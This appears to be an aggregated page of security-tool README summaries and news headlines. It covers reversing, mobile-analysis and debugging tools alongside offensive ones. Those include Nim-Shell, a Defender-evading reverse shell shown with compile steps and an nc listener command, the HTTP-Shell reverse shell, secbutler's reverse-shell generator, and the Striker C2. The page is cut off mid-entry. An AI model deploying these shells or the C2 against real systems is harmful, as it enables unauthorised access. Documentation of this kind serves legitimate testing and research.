Kimsuky APT Deploying Linux Backdoor Gomir in South Korean Cyber Attacks

Researchers Uncover 'LLMjacking' Scheme Targeting Cloud-Hosted AI Models

North Korea's Lazarus Group Deploys New Kaolin RAT via Fake Job Lures

Toolkit - The Essential Toolkit For Reversing, Malware Analysis, And Cracking

This tool compilation is carefully crafted with the purpose of being useful both for the beginners and veterans from the malware analysis world. It has also proven useful for people trying their luck at the cracking underworld.

It's the ideal complement to be used with the manuals from the site, and to play with the numbered theories mirror.

Advantages

To be clear, this pack is thought to be the most complete and robust in existence. Some of the pros are:

1. It contains all the basic (and not so basic) tools that you might need in a real life scenario, be it a simple or a complex one.

2. The pack is integrated with an Universal Updater made by us from scratch. Thanks to that, we get to mantain all the tools in an automated fashion.

3. It's really easy to expand and modify: you just have to update the file bin\updater\tools.ini to integrate the tools you use to the updater, and then add the links for your tools to bin\sendto\sendto, so they appear in the context menus.

4. The installer sets up everything we might need automatically - everything, from the dependencies to the environment variables, and it can even add a scheduled task to update the whole pack of tools weekly.

Installation

1. You can simply download the stable versions from the release section, where you can also find the installer.

2. Once downloaded, you can update the tools with the Universal Updater that we specifically developed for that sole purpose.
   You will find the binary in the folder bin\updater\updater.exe.

Tool set

This toolkit is composed by 98 apps that cover everything we might need to perform reverse engineering and binary/malware analysis.
Every tool has been downloaded from their original/official websites, but we still recommend you to use them with caution, specially those tools whose official pages are forum threads. Always exercise common sense.
You can check the complete list of tools here.

About contributions

Pull Requests are welcome. If you'd want to propose big changes, you should first create an Issue about it, so we all can analyze and discuss it. The tools are compressed with 7-zip, and the format used for nomenclature is {name} - {version}.7z

Dormakaba Locks Used in Millions of Hotel Rooms Could Be Cracked in Seconds

Noia - Simple Mobile Applications Sandbox File Browser Tool

Noia is a web-based tool whose main aim is to ease the process of browsing mobile applications sandbox and directly previewing SQLite databases, images, and more. Powered by frida.re.

Please note that I'm not a programmer, but I'm probably above the median in code-savyness. Try it out, open an issue if you find any problems. PRs are welcome.

Installation & Usage

npm install -g noia
noia

Features

• Explore third-party applications files and directories. Noia shows you details including the access permissions, file type and much more.

• View custom binary files. Directly preview SQLite databases, images, and more.

• Search application by name.

• Search files and directories by name.

• Navigate to a custom directory using the ctrl+g shortcut.

• Download the application files and directories for further analysis.

• Basic iOS support

and more

Setup

Desktop requirements:

• node.js LTS and npm
• Any decent modern desktop browser

Noia is available on npm, so just type the following command to install it and run it:

npm install -g noia
noia

Device setup:

Noia is powered by frida.re, thus requires Frida to run.

Rooted Device

See: * https://frida.re/docs/android/ * https://frida.re/docs/ios/

Non-rooted Device

• https://koz.io/using-frida-on-android-without-root/
• https://github.com/sensepost/objection/wiki/Patching-Android-Applications
• https://nowsecure.com/blog/2020/01/02/how-to-conduct-jailed-testing-with-frida/

Security Warning

This tool is not secure and may include some security vulnerabilities so make sure to isolate the webpage from potential hackers.

LICENCE

MIT

Critical Unpatched Ray AI Platform Vulnerability Exploited for Cryptocurrency Mining

Mhf - Mobile Helper Framework - A Tool That Automates The Process Of Identifying The Framework/Technology Used To Create A Mobile Application

Mobile Helper Framework is a tool that automates the process of identifying the framework/technology used to create a mobile application. Additionally, it assists in finding sensitive information or provides suggestions for working with the identified platform.

The tool searches for files associated with the technologies used in mobile application development, such as configuration files, resource files, and source code files.

Search files:

index.html
cordova.js
cordova_plugins.js

Search file

Andorid files:

libreactnativejni.so
index.android.bundle

iOS files:

main.jsbundle

❗A minimum of Java 8 is required to run Apktool.

pip install -r requirements.txt

python3 mhf.py app.apk|ipa|aab

python3 mobile_helper_framework.py file.apk

[+] App was written in React Native

Do you want analizy the application (y/n) y

Output directory already exists. Skipping decompilation.

Beauty the react code? (y/n) n

Search any info? (y/n) y

==>>Searching possible internal IPs in the file

results.........

==>>Searching possible emails in the file

results.........

==>>Searching possible interesting words in the file

results.........

==>>Searching Private Keys in the file

results.........

==>>Searching high confidential secrets

results.........

==>>Searching possible sensitive URLs in js files

results.........

==>>Searching possible endpoints in js files results.........

This tool uses Apktool for decompilation of Android applications.

This tool renames the .ipa file of iOS applications to .zip and extracts the contents.

What is patching apk: This tool uses Reflutter, a framework that assists with reverse engineering of Flutter apps using a patched version of the Flutter library.

More information: https://github.com/Impact-I/reFlutter

Split APKs is a technique used by Android to reduce the size of an application and allow users to download and use only the necessary parts of the application.

Instead of downloading a complete application in a single APK file, Split APKs divide the application into several smaller APK files, each of which contains only a part of the application such as resources, code libraries, assets, and configuration files.

adb shell pm path com.package
package:/data/app/com.package-NW8ZbgI5VPzvSZ1NgMa4CQ==/base.apk
package:/data/app/com.package-NW8ZbgI5VPzvSZ1NgMa4CQ==/split_config.arm64_v8a.apk
package:/data/app/com.package-NW8ZbgI5VPzvSZ1NgMa4CQ==/split_config.en.apk
package:/data/app/com.package-NW8ZbgI5VPzvSZ1NgMa4CQ==/split_config.xxhdpi.apk

For example, in Flutter if the application is a Split it's necessary patch split_config.arm64_v8a.apk, this file contains libflutter.so

• This tool use a secrets-patterns-db repositorty created by mazen160
• This tool use a regular expresion created by Gerben_Javado for extract endpoints
• This tools use reflutter for flutter actions

• Public release
• Bug fixes

• Added plugins information in Cordova apps
• Added Xamarin actions
• Added NativeScript actions
• Bug fixes

• Added NativeScript app detection
• Added signing option when the apk extracted of aab file is not signed

• Fixed issues with commands on Linux.

• Initial version release.

• This work is licensed under a Creative Commons Attribution 4.0 International License.

Cesar Calderon Marco Almaguer

Over 100 Malicious AI/ML Models Found on Hugging Face Platform

Ivanti Pulse Secure Found Using 11-Year-Old Linux Version and Outdated Libraries

Secbutler - The Perfect Butler For Pentesters, Bug-Bounty Hunters And Security Researchers

Essential utilities for pentester, bug-bounty hunters and security researchers

secbutler is a utility tool made for pentesters, bug-bounty hunters and security researchers that contains all the most used and tedious stuff commonly used while performing cybersecurity activities (like installing sec-related tools, retrieving commands for revshells, serving common payloads, obtaining a working proxy, managing wordlists and so forth).

The goal is to obtain a tool that meets the requirements of the community, therefore suggestions and PRs are very welcome!

• Generate a reverse shell command
• Obtain proxy
• Download & deploy common payloads
• Obtain reverse shell listener command
• Generate bash install script for common tools
• Generate bash download script for Wordlists
• Read common cheatsheets and payloads

secbutler -h

This will display the help for the tool

                   __          __  __
   ________  _____/ /_  __  __/ /_/ /__  _____
  / ___/ _ \/ ___/ __ \/ / / / __/ / _ \/ ___/
 (__  )  __/ /__/ /_/ / /_/ / /_/ /  __/ /
/____/\___/\___/_.___/\__,_/\__/_/\___/_/

v0.1.9 - https://github.com/groundsec/secbutler

Essential utilities for pentester, bug-bounty hunters and security researchers

Usage:
  secbutler [flags]
  secbutler [command]

Available Commands:
cheatsheet  Read common cheatsheets & payloads
  help        Help about any command
  listener    Obtain the command to start a reverse shell listener
  payloads    Obtain and serve common payloads
  proxy       Obtain a random proxy from FreeProxy
  revshell    Obtain the command for a reverse shell
  tools       Generate a install script for the most common cybersecurity tools
  version     Print the current version
  wordlists   Generate a download script for the most common wordlists

Flags:
  -h, --help   help for secbutler

Use "secbutler [command] --help" for more information about a command.

Run the following command to install the latest version:

go install github.com/groundsec/secbutler@latest

Or you can simply grab an executable from the Releases page.

secbutler is made with 🖤 by the GroundSec team and released under the MIT LICENSE.

Recent SSRF Flaw in Ivanti VPN Products Undergoes Mass Exploitation

Rayder - A Lightweight Tool For Orchestrating And Organizing Your Bug Hunting Recon / Pentesting Command-Line Workflows

Rayder is a command-line tool designed to simplify the orchestration and execution of workflows. It allows you to define a series of modules in a YAML file, each consisting of commands to be executed. Rayder helps you automate complex processes, making it easy to streamline repetitive modules and execute them parallelly if the commands do not depend on each other.

Installation

To install Rayder, ensure you have Go (1.16 or higher) installed on your system. Then, run the following command:

go install github.com/devanshbatham/rayder@v0.0.4

Usage

Rayder offers a straightforward way to execute workflows defined in YAML files. Use the following command:

rayder -w path/to/workflow.yaml

Workflow Configuration

A workflow is defined in a YAML file with the following structure:

vars:
  VAR_NAME: value
  # Add more variables...

parallel: true|false
modules:
  - name: task-name
    cmds:
      - command-1
      - command-2
      # Add more commands...
    silent: true|false
  # Add more modules...

Using Variables in Workflows

Rayder allows you to use variables in your workflow configuration, making it easy to parameterize your commands and achieve more flexibility. You can define variables in the vars section of your workflow YAML file. These variables can then be referenced within your command strings using double curly braces ({{}}).

Defining Variables

To define variables, add them to the vars section of your workflow YAML file:

vars:
  VAR_NAME: value
  ANOTHER_VAR: another_value
  # Add more variables...

Referencing Variables in Commands

You can reference variables within your command strings using double curly braces ({{}}). For example, if you defined a variable OUTPUT_DIR, you can use it like this:

modules:
  - name: example-task
    cmds:
      - echo "Output directory {{OUTPUT_DIR}}"

Supplying Variables via the Command Line

You can also supply values for variables via the command line when executing your workflow. Use the format VARIABLE_NAME=value to provide values for specific variables. For example:

rayder -w path/to/workflow.yaml VAR_NAME=new_value ANOTHER_VAR=updated_value

If you don't provide values for variables via the command line, Rayder will automatically apply default values defined in the vars section of your workflow YAML file.

Remember that variables supplied via the command line will override the default values defined in the YAML configuration.

Example

Example 1:

Here's an example of how you can define, reference, and supply variables in your workflow configuration:

vars:
  ORG: "example.org"
  OUTPUT_DIR: "results"

modules:
  - name: example-task
    cmds:
      - echo "Organization {{ORG}}"
      - echo "Output directory {{OUTPUT_DIR}}"

When executing the workflow, you can provide values for ORG and OUTPUT_DIR via the command line like this:

rayder -w path/to/workflow.yaml ORG=custom_org OUTPUT_DIR=custom_results_dir

This will override the default values and use the provided values for these variables.

Example 2:

Here's an example workflow configuration tailored for reverse whois recon and processing the root domains into subdomains, resolving them and checking which ones are alive:

vars:
  ORG: "Acme, Inc"
  OUTPUT_DIR: "results-dir"

parallel: false
modules:
  - name: reverse-whois
    silent: false
    cmds:
      - mkdir -p {{OUTPUT_DIR}}
      - revwhoix -k "{{ORG}}" > {{OUTPUT_DIR}}/root-domains.txt

  - name: finding-subdomains
    cmds:
      - xargs -I {} -a {{OUTPUT_DIR}}/root-domains.txt echo "subfinder -d {} -o {}.out" | quaithe -workers 30 
    silent: false

  - name: cleaning-subdomains
    cmds:
      -  cat *.out > {{OUTPUT_DIR}}/root-subdomains.txt
      -  rm *.out
    silent: true

  - name: resolving-subdomains
    cmds:
      - cat {{OUTPUT_DIR}}/root-subdomains.txt | dnsx -silent -threads 100 -o {{OUTPUT_DIR}}/resolved-subdomains.txt
    silent: false

  - name: checking-alive-subdomains
    cmds:
      - cat {{OUTPUT_DIR}}/resolved-subdomains.txt | httpx -silent -threads 100   0 -o {{OUTPUT_DIR}}/alive-subdomains.txt
    silent: false

To execute the above workflow, run the following command:

rayder -w path/to/reverse-whois.yaml ORG="Yelp, Inc" OUTPUT_DIR=results

Parallel Execution

The parallel field in the workflow configuration determines whether modules should be executed in parallel or sequentially. Setting parallel to true allows modules to run concurrently, making it suitable for modules with no dependencies. When set to false, modules will execute one after another.

Workflows

Explore a collection of sample workflows and examples in the Rayder workflows repository. Stay tuned for more additions!

Inspiration

Inspiration of this project comes from Awesome taskfile project.

Nim-Shell - Reverse Shell That Can Bypass Windows Defender Detection

Reverse shell that can bypass windows defender detection

$ apt install nim

Compilation

nim c -d:mingw --app:gui nimshell.nim

Change the IP address and port number you want to listen to in the nimshell.nim file according to your device.

and listen

 $ nc -nvlp 4444

New Threat Actor 'AeroBlade' Emerges in Espionage Attack on U.S. Aerospace

New BLUFFS Bluetooth Attack Expose Devices to Adversary-in-the-Middle Attacks

C2-Search-Netlas - Search For C2 Servers Based On Netlas

C2 Search Netlas is a Java utility designed to detect Command and Control (C2) servers using the Netlas API. It provides a straightforward and user-friendly CLI interface for searching C2 servers, leveraging the Netlas API to gather data and process it locally.

Usage

To utilize this terminal utility, you'll need a Netlas API key. Obtain your key from the Netlas website.

After acquiring your API key, execute the following command to search servers:

c2detect -t <TARGET_DOMAIN> -p <TARGET_PORT> -s <API_KEY> [-v]

Replace <TARGET_DOMAIN> with the desired IP address or domain, <TARGET_PORT> with the port you wish to scan, and <API_KEY> with your Netlas API key. Use the optional -v flag for verbose output. For example, to search at the google.com IP address on port 443 using the Netlas API key 1234567890abcdef, enter:

c2detect -t google.com -p 443 -s 1234567890abcdef

Release

To download a release of the utility, follow these steps:

• Visit the repository's releases page on GitHub.
• Download the latest release file (typically a JAR file) to your local machine.
• In a terminal, navigate to the directory containing the JAR file.
• Execute the following command to initiate the utility:

java -jar c2-search-netlas-<version>.jar -t <ip-or-domain> -p <port> -s <your-netlas-api-key>

Docker

To build and start the Docker container for this project, run the following commands:

docker build -t c2detect .
docker run -it --rm \
  c2detect \
  -s "your_api_key" \
  -t "your_target_domain" \
  -p "your_target_port" \
  -v

Source

To use this utility, you need to have a Netlas API key. You can get the key from the Netlas website. Now you can build the project and run it using the following commands:

./gradlew build
java -jar app/build/libs/c2-search-netlas-1.0-SNAPSHOT.jar --help

This will display the help message with available options. To search for C2 servers, run the following command:

java -jar app/build/libs/c2-search-netlas-1.0-SNAPSHOT.jar -t <ip-or-domain> -p <port> -s <your-netlas-api-key>

This will display a list of C2 servers found in the given IP address or domain.

Support

Legend:

• ✅ - Accept/good support
• ❓ - Support unknown/unclear
• ❌ - No support/poor support

Contributing

If you'd like to contribute to this project, please feel free to create a pull request.

License

This project is licensed under the License - see the LICENSE file for details.

Bread - BIOS Reverse Engineering And Advanced Debugging

BREAD (BIOS Reverse Engineering & Advanced Debugging) is an 'injectable' real-mode x86 debugger that can debug arbitrary real-mode code (on real HW) from another PC via serial cable.

Introduction

BREAD emerged from many failed attempts to reverse engineer legacy BIOS. Given that the vast majority -- if not all -- BIOS analysis is done statically using disassemblers, understanding the BIOS becomes extremely difficult, since there's no way to know the value of registers or memory in a given piece of code.

Despite this, BREAD can also debug arbitrary code in real-mode, such as bootable code or DOS programs too.

How it works?

This debugger is divided into two parts: the debugger (written entirely in assembly and running on the hardware being debugged) and the bridge, written in C and running on Linux.

The debugger is the injectable code, written in 16-bit real-mode, and can be placed within the BIOS ROM or any other real-mode code. When executed, it sets up the appropriate interrupt handlers, puts the processor in single-step mode, and waits for commands on the serial port.

The bridge, on the other hand, is the link between the debugger and GDB. The bridge communicates with GDB via TCP and forwards the requests/responses to the debugger through the serial port. The idea behind the bridge is to remove the complexity of GDB packets and establish a simpler protocol for communicating with the machine. In addition, the simpler protocol enables the final code size to be smaller, making it easier for the debugger to be injectable into various different environments.

As shown in the following diagram:

    +---------+ simple packets +----------+   GDB packets  +---------+                                       
    |         |--------------->|          |--------------->|         |                                       
    |   dbg   |                |  bridge  |                |   gdb   |
    |(real HW)|<---------------| (Linux)  |<---------------| (Linux) |
    +---------+    serial      +----------+       TCP      +---------+

Features

By implementing the GDB stub, BREAD has many features out-of-the-box. The following commands are supported:

• Read memory (via x, dump, find, and relateds)
• Write memory (via set, restore, and relateds)
• Read and write registers
• Single-Step (si, stepi) and continue (c, continue)
• Breakpoints (b, break)¹
• Hardware Watchpoints (watch and its siblings)²

Limitations

How many? Yes. Since the code being debugged is unaware that it is being debugged, it can interfere with the debugger in several ways, to name a few:

• Protected-mode jump: If the debugged code switches to protected-mode, the structures for interrupt handlers, etc. are altered and the debugger will no longer be invoked at that point in the code. However, it is possible that a jump back to real mode (restoring the full previous state) will allow the debugger to work again.

• IDT changes: If for any reason the debugged code changes the IDT or its base address, the debugger handlers will not be properly invoked.

• Stack: BREAD uses a stack and assumes it exists! It should not be inserted into locations where the stack has not yet been configured.

For BIOS debugging, there are other limitations such as: it is not possible to debug the BIOS code from the very beggining (bootblock), as a minimum setup (such as RAM) is required for BREAD to function correctly. However, it is possible to perform a "warm-reboot" by setting CS:EIP to F000:FFF0. In this scenario, the BIOS initialization can be followed again, as BREAD is already properly loaded. Please note that the "code-path" of BIOS initialization during a warm-reboot may be different from a cold-reboot and the execution flow may not be exactly the same.

Building

Building only requires GNU Make, a C compiler (such as GCC, Clang, or TCC), NASM, and a Linux machine.

The debugger has two modes of operation: polling (default) and interrupt-based:

Polling mode

Polling mode is the simplest approach and should work well in a variety of environments. However, due the polling nature, there is a high CPU usage:

Building

$ git clone https://github.com/Theldus/BREAD.git
$ cd BREAD/
$ make

Interrupt-based mode

The interrupt-based mode optimizes CPU utilization by utilizing UART interrupts to receive new data, instead of constantly polling for it. This results in the CPU remaining in a 'halt' state until receiving commands from the debugger, and thus, preventing it from consuming 100% of the CPU's resources. However, as interrupts are not always enabled, this mode is not set as the default option:

Building

$ git clone https://github.com/Theldus/BREAD.git
$ cd BREAD/
$ make UART_POLLING=no

Usage

Using BREAD only requires a serial cable (and yes, your motherboard has a COM header, check the manual) and injecting the code at the appropriate location.

To inject, minimal changes must be made in dbg.asm (the debugger's src). The code's 'ORG' must be changed and also how the code should return (look for ">> CHANGE_HERE <<" in the code for places that need to be changed).

For BIOS (e.g., AMI Legacy):

Using an AMI legacy as an example, where the debugger module will be placed in the place of the BIOS logo (0x108200 or FFFF:8210) and the following instructions in the ROM have been replaced with a far call to the module:

...
00017EF2  06                push es
00017EF3  1E                push ds
00017EF4  07                pop es
00017EF5  8BD8              mov bx,ax     -┐ replaced by: call 0xFFFF:0x8210 (dbg.bin)
00017EF7  B8024F            mov ax,0x4f02 -┘
00017EFA  CD10              int 0x10
00017EFC  07                pop es
00017EFD  C3                ret
...

the following patch is sufficient:

diff --git a/dbg.asm b/dbg.asm
index caedb70..88024d3 100644
--- a/dbg.asm
+++ b/dbg.asm
@@ -21,7 +21,7 @@
 ; SOFTWARE.

 [BITS 16]
-[ORG 0x0000] ; >> CHANGE_HERE <<
+[ORG 0x8210] ; >> CHANGE_HERE <<

 %include "constants.inc"

@@ -140,8 +140,8 @@ _start:

 	; >> CHANGE_HERE <<
 	; Overwritten BIOS instructions below (if any)
-	nop
-	nop
+	mov ax, 0x4F02
+	int 0x10
 	nop
 	nop

It is important to note that if you have altered a few instructions within your ROM to invoke the debugger code, they must be restored prior to returning from the debugger.

The reason for replacing these two instructions is that they are executed just prior to the BIOS displaying the logo on the screen, which is now the debugger, ensuring a few key points:

• The logo module (which is the debugger) has already been loaded into memory
• Video interrupts from the BIOS already work
• The code around it indicates that the stack already exists

Finding a good location to call the debugger (where the BIOS has already initialized enough, but not too late) can be challenging, but it is possible.

After this, dbg.bin is ready to be inserted into the correct position in the ROM.

For DOS

Debugging DOS programs with BREAD is a bit tricky, but possible:

1. Edit dbg.asm so that DOS understands it as a valid DOS program:

• Set the ORG to 0x100
• Leave the useful code away from the beginning of the file (times)
• Set the program output (int 0x20)

The following patch addresses this:

diff --git a/dbg.asm b/dbg.asm
index caedb70..b042d35 100644
--- a/dbg.asm
+++ b/dbg.asm
@@ -21,7 +21,10 @@
 ; SOFTWARE.

 [BITS 16]
-[ORG 0x0000] ; >> CHANGE_HERE <<
+[ORG 0x100]
+
+times 40*1024 db 0x90 ; keep some distance,
+                      ; 40kB should be enough

 %include "constants.inc"

@@ -140,7 +143,7 @@ _start:

 	; >> CHANGE_HERE <<
 	; Overwritten BIOS instructions below (if any)
-	nop
+	int 0x20 ; DOS interrupt to exit process
 	nop

2. Create a minimal bootable DOS environment and run

Create a bootable FreeDOS (or DOS) floppy image containing just the kernel and the terminal: KERNEL.SYS and COMMAND.COM. Also add to this floppy image the program to be debugged and the DBG.COM (dbg.bin).

The following steps should be taken after creating the image:

• Boot it with bridge already opened (refer to the next section for instructions).
• Execute DBG.COM.
• Once execution stops, use GDB to add any desired breakpoints and watchpoints relative to the next process you want to debug. Then, allow the DBG.COM process to continue until it finishes.
• Run the process that you want to debug. The previously-configured breakpoints and watchpoints should trigger as expected.

It is important to note that DOS does not erase the process image after it exits. As a result, the debugger can be configured like any other DOS program and the appropriate breakpoints can be set. The beginning of the debugger is filled with NOPs, so it is anticipated that the new process will not overwrite the debugger's memory, allowing it to continue functioning even after it appears to be "finished". This allows BREaD to debug other programs, including DOS itself.

Bridge

Bridge is the glue between the debugger and GDB and can be used in different ways, whether on real hardware or virtual machine.

Its parameters are:

Usage: ./bridge [options]
Options:
  -s Enable serial through socket, instead of device
  -d <path> Replaces the default device path (/dev/ttyUSB0)
            (does not work if -s is enabled)
  -p <port> Serial port (as socket), default: 2345
  -g <port> GDB port, default: 1234
  -h This help

If no options are passed the default behavior is:
  ./bridge -d /dev/ttyUSB0 -g 1234

Minimal recommended usages:
  ./bridge -s (socket mode, serial on 2345 and GDB on 1234)
  ./bridge    (device mode, serial on /dev/ttyUSB0 and GDB on 1234)

Real hardware

To use it on real hardware, just invoke it without parameters. Optionally, you can change the device path with the -d parameter:

Execution flow:

1. Connect serial cable to PC
2. Run bridge (./bridge or ./bridge -d /path/to/device)
3. Turn on the PC to be debugged
4. Wait for the message: Single-stepped, you can now connect GDB! and then launch GDB: gdb.

Virtual machine

For use in a virtual machine, the execution order changes slightly:

Execution flow:

1. Run bridge (./bridge or ./bridge -d /path/to/device)
2. Open the VM³ (such as: make bochs or make qemu)
3. Wait for the message: Single-stepped, you can now connect GDB! and then launch GDB: gdb.

In both cases, be sure to run GDB inside the BRIDGE root folder, as there are auxiliary files in this folder for GDB to work properly in 16-bit.

Contributing

BREAD is always open to the community and willing to accept contributions, whether with issues, documentation, testing, new features, bugfixes, typos, and etc. Welcome aboard.

License and Authors

BREAD is licensed under MIT License. Written by Davidson Francis and (hopefully) other contributors.

Sekiryu - Comprehensive Toolkit For Ghidra Headless

This Ghidra Toolkit is a comprehensive suite of tools designed to streamline and automate various tasks associated with running Ghidra in Headless mode. This toolkit provides a wide range of scripts that can be executed both inside and alongside Ghidra, enabling users to perform tasks such as Vulnerability Hunting, Pseudo-code Commenting with ChatGPT and Reporting with Data Visualization on the analyzed codebase. It allows user to load and save their own script and interract with the built-in API of the script.

Key Features

• Headless Mode Automation: The toolkit enables users to seamlessly launch and run Ghidra in Headless mode, allowing for automated and batch processing of code analysis tasks.

• Script Repository/Management: The toolkit includes a repository of pre-built scripts that can be executed within Ghidra. These scripts cover a variety of functionalities, empowering users to perform diverse analysis and manipulation tasks. It allows users to load and save their own scripts, providing flexibility and customization options for their specific analysis requirements. Users can easily manage and organize their script collection.

• Flexible Input Options: Users can utilize the toolkit to analyze individual files or entire folders containing multiple files. This flexibility enables efficient analysis of both small-scale and large-scale codebases.

Available scripts

• Vulnerability Hunting with pattern recognition: Leverage the toolkit's scripts to identify potential vulnerabilities within the codebase being analyzed. This helps security researchers and developers uncover security weaknesses and proactively address them.
• Vulnerability Hunting with SemGrep: Thanks to the security Researcher 0xdea and the rule-set they created, we can use simple rules and SemGrep to detect vulnerabilities in C/C++ pseudo code (their github: https://github.com/0xdea/semgrep-rules)
• Automatic Pseudo Code Generating: Automatically generate pseudo code within Ghidra's Headless mode. This feature assists in understanding and documenting the code logic without manual intervention.
• Pseudo-code Commenting with ChatGPT: Enhance the readability and understanding of the codebase by utilizing ChatGPT to generate human-like comments for pseudo-code snippets. This feature assists in documenting and explaining the code logic.
• Reporting and Data Visualization: Generate comprehensive reports with visualizations to summarize and present the analysis results effectively. The toolkit provides data visualization capabilities to aid in identifying patterns, dependencies, and anomalies in the codebase.

Pre-requisites

Before using this project, make sure you have the following software installed:

• Ghidra: You can download Ghidra from the National Security Agency's GitHub repository @ https://github.com/NationalSecurityAgency/ghidra
• Java: Make sure you have Java Development Kit (JDK) version 17 or higher installed. You can download it from the OpenJDK website @ https://openjdk.org/projects/jdk/17/
• BinExport (OPTIONNAL) Follow the instruction for installing the Ghidra Extension https://github.com/google/binexport
• SemGrep (OPTIONNAL) Follow the instruction detailed https://semgrep.dev/docs/getting-started/

Installation

• Install the pre-requisites mentionned above.
• Download Sekiryu release directly from Github or use: pip install sekiryu.

Usage

In order to use the script you can simply run it against a binary with the options that you want to execute.

• sekiryu [-F FILE][OPTIONS]

Please note that performing a binary analysis with Ghidra (or any other product) is a relatively slow process. Thus, expect the binary analysis to take several minutes depending on the host performance. If you run Sekiryu against a very large application or a large amount of binary files, be prepared to WAIT

Demos

• Find demo on www.bushido-sec.com

API

def exec_headless(file, script):
	"""
	Execute the headless analysis of ghidra
	"""
	path = ghidra_path + 'analyzeHeadless'
	# Setting variables
	tmp_folder = "/tmp/out"
	os.mkdir(tmp_folder)
	cmd = ' ' + tmp_folder + ' TMP_DIR -import'+ ' '+ file + ' '+ "-postscript "+ script +" -deleteProject"	

	# Running ghidra with specified file and script
	try:	
		p = subprocess.run([str(path + cmd)], shell=True, capture_output=True)
		os.rmdir(tmp_folder)

	except KeyError as e:
		print(e)
		os.rmdir(tmp_folder)

def yourfunction(file):
	try:
		# Setting script
		script = "modules/scripts/your_script.py"

		# Start the exec_headless function in a new thread
		thread = threading.Thread(target=exec_headless, args=(file, script))
		thread.start()
		thread.join()
	except Exception as e:
		print(str(e))

analysis_parser.add_argument('[-ShortCMD]', '[--LongCMD]', help="Your Help Message", action="store_true")

The xmlrpc.server module is not secure against maliciously constructed data. If you need to parse 
untrusted or unauthenticated data see XML vulnerabilities.

A lot of people encouraged me to push further on this tool and improve it. Without you all this project wouldn't have been
the same so it's time for a proper shout-out:
- @JeanBedoul @McProustinet @MilCashh @Aspeak @mrjay @Esbee|sandboxescaper @Rosen @Cyb3rops @RussianPanda @Dr4k0nia
- @Inversecos @Vs1m @djinn @corelanc0d3r @ramishaath @chompie1337
Thanks for your feedback, support, encouragement, test, ideas, time and care.

HTTP-Shell - MultiPlatform HTTP Reverse Shell

HTTP-Shell is Multiplatform Reverse Shell. This tool helps you to obtain a shell-like interface on a reverse connection over HTTP. Unlike other reverse shells, the main goal of the tool is to use it in conjunction with Microsoft Dev Tunnels, in order to get a connection as close as possible to a legitimate one.

This shell is not fully interactive, but displays any errors on screen (both Windows and Linux), is capable of uploading and downloading files, has command history, terminal cleanup (even with CTRL+L), automatic reconnection and movement between directories.

Requirements

• Python 3 for Server
• Install requirements.txt
• Bash for Linux Client
• PowerShell 4.0 or greater for Windows Client

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/HTTP-Shell

Usage

Tiny_Tracer - A Pin Tool For Tracing API Calls Etc

A Pin Tool for tracing:

• API calls, including parameters of selected functions
• selected instructions: RDTSC, CPUID, INT
• inline system calls, including parameters of selected syscalls
• transition between sections of the traced module (helpful in finding OEP of the packed module)

Bypasses the anti-tracing check based on RDTSC.

Generates a report in a .tag format (which can be loaded into other analysis tools):

RVA;traced event

i.e.

345c2;section: .text
58069;called: C:\Windows\SysWOW64\kernel32.dll.IsProcessorFeaturePresent
3976d;called: C:\Windows\SysWOW64\kernel32.dll.LoadLibraryExW
3983c;called: C:\Windows\SysWOW64\kernel32.dll.GetProcAddress
3999d;called: C:\Windows\SysWOW64\KernelBase.dll.InitializeCriticalSectionEx
398ac;called: C:\Windows\SysWOW64\KernelBase.dll.FlsAlloc
3995d;called: C:\Windows\SysWOW64\KernelBase.dll.FlsSetValue
49275;called: C:\Windows\SysWOW64\kernel32.dll.LoadLibraryExW
4934b;called: C:\Windows\SysWOW64\kernel32.dll.GetProcAddress
...

How to build

On Windows

To compile the prepared project you need to use Visual Studio >= 2012. It was tested with Intel Pin 3.28.
Clone this repo into \source\tools that is inside your Pin root directory. Open the project in Visual Studio and build. Detailed description available here.
To build with Intel Pin < 3.26 on Windows, use the appropriate legacy Visual Studio project.

On Linux

For now the support for Linux is experimental. Yet it is possible to build and use Tiny Tracer on Linux as well. Please refer tiny_runner.sh for more information. Detailed description available here.

Usage

 Details about the usage you will find on the project's Wiki.

WARNINGS

• In order for Pin to work correctly, Kernel Debugging must be DISABLED.
• In install32_64 you can find a utility that checks if Kernel Debugger is disabled (kdb_check.exe, source), and it is used by the Tiny Tracer's .bat scripts. This utilty sometimes gets flagged as a malware by Windows Defender (it is a known false positive). If you encounter this issue, you may need to exclude the installation directory from Windows Defender scans.
• Since the version 3.20 Pin has dropped a support for old versions of Windows. If you need to use the tool on Windows < 8, try to compile it with Pin 3.19.

Questions? Ideas? Join Discussions!

PurpleOps - An Open-Source Self-Hosted Purple Team Management Web Application

An open-source self-hosted purple team management web application.

Key Features

• Template engagements and testcases
• Framework friendly
• Role-based Access Control & MFA
• Inbuilt DOCX reporting + custom template support

How PurpleOps is different:

• No attribution needed
• Hackable, no "no-reversing" clauses
• No over complications with tomcat, redis, manual database transplanting and an obtuce permission model

Installation

# Clone this repository
$ git clone https://github.com/CyberCX-STA/PurpleOps

# Go into the repository
$ cd PurpleOps

# Alter PurpleOps settings (if you want to customize anything but should work out the box)
$ nano .env

# Run the app with docker
$ sudo docker compose up

# PurpleOps should now by available on http://localhost:5000, it is recommended to add a reverse proxy such as nginx or Apache in front of it if you want to expose this to the outside world.

# Alternatively
$ sudo docker run --name mongodb -d -p 27017:27017 mongo
$ pip3 install -r requirements.txt
$ python3 seeder.py
$ python3 purpleops.py

Contact Us

We would love to hear back from you, if something is broken or have and idea to make it better add a ticket or ping us pops@purpleops.app | @_w_m__

Credits

• Atomic Red Team (LICENSE) for sample commands
• CyberCX for foundational support

KoodousFinder - A Simple Tool To Allows Users To Search For And Analyze Android Apps For Potential Security Threats And Vulnerabilities

A simple tool to allows users to search for and analyze android apps for potential security threats and vulnerabilities

Account and API Key

Create a Koodous account and get your api key https://koodous.com/settings/developers

Install

$ pip install koodousfinder

Arguments

Examples

koodous.py --package-name "app: Brata AND package: com.brata"
koodous.py --package-name "package: com.google.android.videos AND trusted: true"
koodous.py --package-name "com.metasploit"
python3 koodous.py --app-name "WhatsApp MOD"

Modifiers for advanced search

More information: https://docs.koodous.com/apks.html.
#TODO

• Discord Integration
• Rulesets view

Striker - A Command And Control (C2)

Striker is a simple Command and Control (C2) program.

Disclaimer

This project is under active development. Most of the features are experimental, with more to come. Expect breaking changes.

Features

A) Agents

• Native agents for linux and windows hosts.
• Self-contained, minimal python agent should you ever need it.
• HTTP(s) channels.
• Aynchronous tasks execution.
• Support for multiple redirectors, and can fallback to others when active one goes down.

B) Backend / Teamserver

